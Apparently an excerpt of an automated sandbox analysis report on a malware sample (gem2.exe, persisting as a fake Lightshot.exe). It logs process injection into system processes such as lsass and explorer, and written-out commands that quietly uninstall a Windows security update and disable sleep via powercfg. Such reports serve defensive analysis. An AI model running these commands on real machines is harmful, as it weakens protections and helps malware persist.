Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1200000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F8362A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 20E3F2F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 238A0910000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E3DC7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2B9EDBC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1EFFF1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2490F910000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2961B670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2961BA20000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 1028 base: 1200000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\gem2.exe	Thread register set: target process: 7888	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 7660	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 7724	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 7720	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CB80000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2490F800000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CBB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1200000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F8362A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 20E3F2F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 238A0910000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E3DC7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2B9EDBC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1EFFF1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2490F910000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2961B670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2961BA20000

Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_0000000140001B54

Source: winlogon.exe, 0000001D.00000000.2094526349.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001D.00000002.3311375682.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000002.3318403400.0000011605AB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 0000001D.00000000.2094526349.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001D.00000002.3311375682.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000000.2108549670.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 0000001D.00000000.2094526349.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001D.00000002.3311375682.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000000.2108549670.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 0000001D.00000000.2094526349.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001D.00000002.3311375682.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000000.2108549670.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\winlogon.exe

Code function: 29_2_000001E8589636F0 cpuid

29_2_000001E8589636F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 29_2_000001E858987960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

29_2_000001E858987960

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

